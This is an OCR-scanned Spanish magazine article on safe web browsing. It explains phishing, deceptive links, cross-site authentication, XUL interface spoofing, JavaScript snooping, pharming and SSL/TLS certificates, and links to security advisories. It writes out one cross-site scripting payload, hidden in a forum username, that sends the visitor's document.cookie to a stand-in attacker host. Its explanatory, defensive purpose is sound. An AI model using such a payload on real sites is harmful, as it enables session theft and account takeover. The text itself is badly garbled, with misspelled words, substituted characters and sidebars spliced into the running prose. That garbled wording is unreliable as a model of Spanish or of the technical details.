Navegaci—n Segura¥

ASabes lo suficiente para navegar a salvo de bucaneros y maleantes? Este mes 0s mostramos ¢—mo

mantenerse alejado de todo tipo de trampas.

avegar por la Web sol'a ser muy

sencillo, y todo parec’a muy ino-

cente Pero la Web de hoy en d'a se
ha convertido en un lugar muy difer ente y
mis oscumpo. Si pulsamos en el lugar equivo-
cado, cualquier gfngster informitico de
cualquier lugar del mundo puede echar
mano de nuesto bolsillo. Nuestra mejor
defensa es saber las &tas y tener un plan
en consecuencia.

El tema de portada de este mes tta de
c—mo podemos deambular por Internet de
manera segua y privada. Empezaemos
con un estudio del Pharming y el Phishing,
dos peligrosas tZcnicas que los estafad@s
usan para acceder a nuesta informaci—n
personal y financiera. A continuaci—n mos-
tramos Tor y Privoxy, dos herramientas de
privacidad que nos permiten navegar de
manera an—nima. Y hablando de priaci-
dad, en nuestro tercer art'culo de portada,
examinamos Antsp2p, un sistema que
soporta intercambio de archivos de forma
an—nima.

Si queremos mantenernos libres de las
garras del ciber-crimen, o si simplemente
queremos na/egar 0 compartir archivos sin
dejar trazas seguro que encontramos algo
cetil en los art’culos del tema de portada de
este mes: Navegaci—n Segar

Pero antes de entar en detalles vamos a
empezar con un resumen de algunos de los
peligros que acechan al usuario de Internet.

Puede que alguna ez haya recibido un
correo electr—nico (a menudo lleno de es-
tas y deficiente gramttica) pidiZndonos que
pulsemos en un enlace de nuesta supuesta
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entidad bancaria, donde debemos ehabili-

tar nuestra cuenta online introduciendo de

nuevo nuestros datos Si hemos recibido un

mensaje como el mencionado, hemos sido
objetivo de un ataque de phishing.

El phishing se basa en el comportamiento
de la gente poco cuidadosa (Osi mi banco
me escribe debe ser algo importanteO).
Podemos encontiar algunos ejemplos de
ataques de phishing conocidos en la ptgina
Web antiphishing.org [1].

Todo lo que se requiere para atacar una
direcci—n  de
correo  elec-
tr—nico es
a—adirla en
una lista del cliente
de correo. Incluso se
a—aden dominios no regis-
trados sin hacer ninguna
comprobaci—n. Aparte de esto: un
email en HTML s—lo necesita un link
con un texto visible que siga el patr—n
www.cualquierbanco-xyz.com Esto
no significa que la direcci—n nos
lleve a www.cualquierbanco-xyz.
com Y por cierto, un enlace
como WWW.
cualquierbanco-xyz.
com@fraud.comno nos lleva
a ninguna pfgina del
banco, sino que nos con-
duce afraud.com
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El phishing estf basado en enga—ar al usua-
rio para que revele informaci—n pesonal
critica. Pero hay otros mZtodos incluso mis
dif’ciles de vigilar. Supongamos que esta-
mos logueados como usuarios de un foo.
De pronto, nuestro navegador nos pegunta
el nombre de usuario y contrase—a (Figua
2). Si tecleamos nuestos datos pensando
gue ha ocurrido algecen tipo de eror con el
software del foro, puede que un atacante
tenga ahora acceso a nuesta cuenta.

Este tipo de ataque se conoce como @ss
Site Authenticaion (XSA). El XSA se basa en

Ncemero 20

17



¥Navegaci—n Segura

un sencillo principio: el atacante guarda
una imagen con la URL que conduce al
usuario desprevenido a un servidor Web
falso donde se le \a a preguntar por su con-
trase—a. En otas palabas al usuario se le
pide la contrase—a pag ver la imagen.

Por supuesto, la ptgina falsa peparada
por el atacante XSA estt configurada para
aceptar cualquier combinaci—n de nomke
de usuario y contrase—a y paa guardar
cualquier informaci—n que el usuario into-
duzca. Esto permite que el atacante
recolecte las contase—as de los usuarios
gue se hayan logueado en la ptgina falsa.

Los Poderes Ocultos de

XUL

Firefox 'y Mozilla tienen  una

Puede que peder la contrase—a de un
foro no sea un golpe demasiado duo, pero
AquZ ocure si esta contase—a es la misma
que usamos pag nuestra tarjeta de crZdito o
para una cuenta de un banco online?

JavaScript nos permite evaluar informaci—n
en formularios (Figura 3), incluso desde for-
mularios en ventanas diferentes El peligro
que esto conlleva es bastante obvio. (Todo
lo que se necesita es tener la ptgina del
banco online y la ptgina fraudulenta abier-
tas al mismo tiempo, y el atacante puede
registrar lo que introduzcamos). JavaScript
restringe el acceso cruzado de entanas o
marcos: esto funciona s—lo si ambas ptgi-
nas o marcos esttn en el mismo dominio.

# $ %
&
cuidadosamente peparado puede
terminar inyecttndonos c—digo

JavaScript maligno.

Usar s—Io maradores creados por no-
sotros mismos

Reiniciar el navegador pa@a aseguarnos
de que el c—digo JdaScript de una
pfgina vista anteriormente por error no
sigue activa. Podemos revisar la secci—n
ODesktopiaO del ncen@rl9 de Linux
Magazine edici—n en castellano apar
cida en Septiembe de 206
(OExtensibilidad®) donde enconare-
mos informaci—n de algunas de las
extensiones mis populaes de Fiefox,
incluida Noscript, que nos permite des-
habilitar JavaScript en las sesiones de
Firefox

Para ser lo que es la teor'a funciona, pero
hemos de recordar que esta estricci—n no
se implement— corctamente en Fiefox
hasta la versi—n 1.0. Las ersiones actuales

Las aplicaciones Wb y los foros a menudo
facilitan la vida a los atacantes, ofreciZndo-
les una puerta trasem que les permite
inyectar c—digo JaaScript peligroso. For

Ofuncionalidad® que proporciona a los
phishers una poderosa herramienta: los
navegadores basados en Mozilla usan
XUL, un lenguaje basado en XML, para

generar la interfaz de usuario.
Desafortunadamente, estos
navegadores muestran los elementos
XUL incrustados en las pfginas W eb,
permitiendo a los atacantes emular los
elementos originales que se muestran,
como barras de direcci—n o cuadros de
ditlogo.

Como demostraci—n de c—mo usar XUL
para ataques de phishing, podemos
visitar [2]: pongamos lo que pongamos
en la barra de direcciones falsa, el
navegador seguirf mostrindonos la
pigina de Google (vZase Figura 1). La
barra de tareas y los mences son falsas y
no funcionan, pero para cuando nos
hayamos dado cuenta, puede ser
demasiado tarde.
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de Konqueror y Opera no estin afectadas ejemplo,

por esta vulnerabilidad, pero imaginemos el
siguiente escenario con un Fiefox anterior
al 1.0: un atacante env’a un enlace manipu-
lado por email. El correo abre la ptgina de
nuestro banco, mientras que al mismo
tiempo abre un peque—0 pop-up en
segundo plano. La ventana oculta puede
ahora registrar lo que tecleemos y hacerlo
llegar al atacante
Ala hora de tratar con JasaScript:

¥ No wusar enlaces de fuentes no
confiables (es decir: email o ptginas de
Internet no verificadas) para acceder a
ptginas con aplicaciones crticas en
cuento a seguridad. Un enlace
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un atacante podra intentar

APor quZ me preguntas?

Ningoen banco que se precie se le pasar'a
por la cabeza enviarnos un correo elec-

tr—nico pidiZndonos que introduzcamos
nuestra contrase—a o claves de transac-
ci—n. Ningoen proveedor serio de Internet
nos preguntara jamis nuestra con-

trase—a. DespuZs de todo, las con-
trase—as de los verdaderos usuarios

deben estar guardadas en algoen lugar
de sus bases de datos. Si ha ocurrido
algoen problema tZcnico, puede tener
sentido pedir al usuario que se loguee

en el sistema, pero no lo tiene en abso-

luto solicitarle la contrase—a.
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loguearse con el nombre de usuario Bad-
Boy<script>(new  Image).sr c=Ohttp://
www.attacker.com/spy.
php?sniff=+document.cookieO;</

script> ).

La aplicac—n Wb puede que echace
este nombre debido a su longitud, o que fil-
tre el componente Jaascript. Pero si no lo
filtr a, el c—digo que lee las cookies endas
para los Vvisitantes de la pigina
(document.cookie) y que las env’a como
parfmetro (sniff=[...] ) a www.attacker.com
se inyecta en cada pfgina en la que se pida
el nombre de usuario.

Las comprobaciones de seguridad en el
lado del navegador estfn condenadas a
fallar en esta situaci—n: el c—digo\Script
estt en la pfgina a la que pertenece la coo-
kie. Desde el punto de vista del narzegador

$3$ +

no hay nada err—neo o ra—o en que un
script acceda a la cookie

La mayor'a de las aplicaciones Wb usan
cookies pam identificar a los usuarios
conectados (vZase Figua 4). Un atacante
gue consiga acceso a nuest cookie de
sesi—n puede hacee pasar por nosotos.

El pharming es otra tZcnica de ataque
extremadamente  peligosa apaecida
recientemente Los atacantes v'a pharming
explotan agujeros de seguridad en el
sistema de DNS. El nzegador tiene en
primer lugar que resolver la URL antes de
poder conectaise a una pigina. Rra ello se
comunica previamente con un servidor de
DNS en Internet. Los servidoes DNS se
basan en una jemrgu’a: el primer punto al

gque consultan es al servidor DNS que
nuestro proveedor ha especificado al iniciar
la conexi—n a Internet. Si pedimos una
pfgina que ese servidor DNS no conocge
Zste ecurre a un servidor por encima de Z|
en el frbol de jerarqu’a. Si el servidor tiene
la direcci—n en su cachZ, no serf necesario
seguir buscando hacia arriba. Los ataques
por envenenamiento de la cachZ intentan
inyectar valores manipulados en Zsta.
Podemos encontiar mis informaci—n en el
artculo OLa Historia de Phish: Phishing,
Pharming y la amenaza del mobo de
identidadO en la ptgina 2 de este mismo
ncemeo.

El protocolo HTTP transfiere informaci—n
de manera que no permite a los usuarios
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no es un intento
en balde debido a
ataques de ene-
nenamiento  de
DNS.

Pulsando en un
enlace de una
fuente no confia-
ble como un
correo electr—nico
puede  socaar
este tipo de segu-
ridad: la barra de

% %

modificar la ruta que toma esta informa-

ci—n. Ainque esto es un mZtodo eficiente a
prueba de fallos, tambiZn significa que no

podremos confiar nunca en los oidenadores
intermedios entre el origen de la informa-

ci—n y el destino. O lo que es lo mismo,
tendremos que estar siempe vigilantes ante
atagues en puntos intermedios que fisgo-
neen nuesta informaci—n o incluso la
modifiquen. Se hace impelativa una cone-
xi—n cifada que use SSL/BL paa

aplicaciones cr'ticas como trabajar con

naemeos de tarjeta de crZdito.

El SSL/ TSL (Secue Soclets Layer/Trans-
port Layer Security) es un protocolo que usa
direcciones de Internet que comienzan por
https:// . TSL es una etensi—n de SSL. Esta
conexi—n Osegad a Internet gita que los
atacantes secuesgn equipos intermedios y
husmeen o manipulen la informaci—n. Al
mismo tiempo, esto garantiza que estamos
realmente conectados a la diecci—n mos-
trada en la barra de nuestio navegador
Pero, de nuevo, es responsabilidad nuesta
aseguarnos que es corecta y que el enlace
no ha sido reemplazado por una direcci—n
falsa desde una fuente no confiable que
simplemente apaente ser real.

Las coneiones SSL/TSL usan certifica-
dos. Existen algunos erores comunes
acerca de los certificados que habr'a que
mencionar:

* OCertificado de confianzaO (fsted cer-
tificate) no significa que alguien nos
asegue que el operdor del sitio estf en
contacto con la polic’a.

* ODe confianzaO significa que el certifi-
cado ha sido publicado por una autoridad
de certificaci—n econocida. Una clave en el
servidor Web gatantiza que al entrar en la
pFgina https://ejemplo.com realmente acce-
demos a un servidor llamado ejemplo.comy
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direcciones  de
/ nuestro navegador
Web no mostrart
la direcci—n
correcta. El propietario de la direcci—n sabo-
teada perfectamente podra tener un
certificado vlido para su pfgina \eb.

Hay otra restricci—n importante que debe-
ramos tener en cuenta: SSL ¥érsi—n 2.0
tiene algunos agujeos de seguridad. Si des-
habilitamos SSL 2.0 en nuesto navegador
ya no podremos acceder a servidoes \\eb
obsoletos que s—Ilo mporcionan conexio-
nes SSL 2.0. ro esto no es del todo malo,
pues las coneiones SSL 2.0 son un riesgo

de seguridad.
Otro problema es el exceso de aderten-
cias de seguridad causadas por

administradores de servidoes que no
hacen bien su trabajo, y que crean un
entorno en el que los usuarios hastiados
de ver tanta advertencia, terminan pul-
sando sobe OKsin reparar en lo que esttn
haciendo. En algunas ocasioneslos admi-
nistradores incluso sugieen que las
advertencias de seguridad son algo Onor-
malO y les indican a los usuarios que
pulsen OK a todo lo que encuentren.

En realidad, si el navegador muesta
una advertencia de certificado (vZase
figura 5), tenemos que suponer que la
seguridad estf comppmetida. Cualquier
banco o tienda en I'nea al que confiemos
nuestro dinero o informaci—n pesonal,
deber'a demostiar que merece nuesta
confianza ofreciZndonos una conei—n
SSL/TSL.

En ocasiones el asistente de seguridad
nos ofrece un remedio o un arreglo para el
problema. Sin embago, mucho mis a
menudo, la soluci—n es instalar un pache
o0 actualizar a la celtima \ersi—n. Bra evitar

la necesidad de comppbar
constantemente ptginas Vb en busca de
este tipo de informaci—n, algunas

distribuciones de Linux nos permiten
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registrarnos para recibir avisos de
seguridad de Linux por correo electr—nico.
Los fabricantes suelen distribuir sus
avisos de seguridad a taevZs de listas de
correo. Podemos comprobar tambiZn las
ptginas de seguridad de nuesi
distribuci—n farorita, donde hallaremos
los detalles pama las listas de coreo y
c—moegistrarse

Ademis de las pfginas espec’ficas de
los fabricantes estfn disponibles en la
Web muchas otras fuentes de informaci—n
relativas a la seguridad en Linux. Por
ejemplo, Security Focus [5] es una cono-
cida ptgina Web que publica reportes de
fallos, avisos y mucha mis informaci—n
acerca de aspectos cr'ticos Estas pfginas
proporcionan de cuando en cuando art'cu-
los de alto nivel, FAQs y foros acerca de
temas de seguridad.

Avisos de Seguridad en

Linux

Muchas distribuciones de Linux publican
avisos de seguridad para proporcionar al
usuario informaci—n actualizada sobre pro-
blemas
Podemos acudir al apartado de la revista

recientemente  descubiertos.
ONoticias de SeguridadO donde encontrare-
mos enlaces de avisos de diferentes
distribuciones de Linux. En funci—n del
fabricante o el proyecto, el formato de los
avisos de seguridad puede variar . Mientras
que Novell/Suse, Debian y Ubuntu propor-
cionan texto ASCII puro, quizts con algcen
enlace, Mandriva es m¥s amigable, con ico-
nos de candados de colores para indicarnos
cufn serio es un bug.

RECURSOS

[1] Ataques de phishing en el pasado:
http://www .antiphishing.org/
phishing_archive.html

2

—

Riesgos XUL en navegadores basa-
dos en Mozilla:  http://mvww .pikey.me.
uk/mozilla/test/spooftest.html

3

—_

Vulnerabilidades en versiones previas
de Mozilla/Firefox: http://www .mozilla.
org/projects/security/ known-vulnera-
bilities.html

4

[l

Vulnerabilidad en el motor JavaScript
de Konqueror:  http://mww .kde.org/
info/security/advisory-20060119-1.txt

[5] Securityfocus: http://fwvww .
securityfocus.com




